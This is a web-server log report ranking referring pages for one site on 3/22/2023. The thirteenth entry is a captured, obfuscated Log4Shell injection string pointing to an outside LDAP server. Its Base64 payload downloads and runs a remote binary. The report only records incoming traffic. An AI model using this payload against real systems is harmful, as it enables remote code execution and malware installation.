Day of 3/22/2023: Top 13 of 17 Referring Pages

Sorted by Access Count

Rank Referring Page Accesses % Bytes %
1 http://killerkowalskis.com/ 8 21.62 10,000 7.55
2 https://www.google.com/ 6 16.22 12,948 9.78
3 http://killerkowalskis.com/home.htm 4 10.81 89,743 67.77
4 http://killerkowalskis.com/black.htm 4 10.81 220 0.17
5 http://killerkowalskis.com/title.htm 3 8.11 8,619 6.51
6 http://216.226.136.134:80/admin/login.asp 3 8.11 0 0.00
7 https://websitedetection.com/web-site-list-3525 2 5.41 2,213 1.67
8 https://isardomains.com/taeglicher-aftermarktreport-2021-12-
14/
2 5.41 2,213 1.67
9 https://www.caulifloweralleyclub.org/ 1 2.70 2,158 1.63
10 http://216.226.136.134/ 1 2.70 0 0.00
11 https://www.google.com/url 1 2.70 2,158 1.63
12 /vplayer/171943.html 1 2.70 0 0.00
13 t('${${env:nan:-j}ndi${env:nan:-:}${env:nan:-l}dap${env:nan:
-:}//107.189.4.234:1389/TomcatBypass/Command/Base64/d2dldCBo
dHRwOi8vZDI2ZXhrZmd2eTcyamEuY2xvdWRmcm9udC5uZXQvc3BraTsgY3Vy
bCAtTyBodHRwOi8vZDI2ZXhrZmd2eTcyamEuY2xvdWRmcm9udC5uZXQvc3Br
aTsgY2htb2QgNzc3IHNwa2k7IC4vc3BraSAy}')
1 2.70 2,158 1.63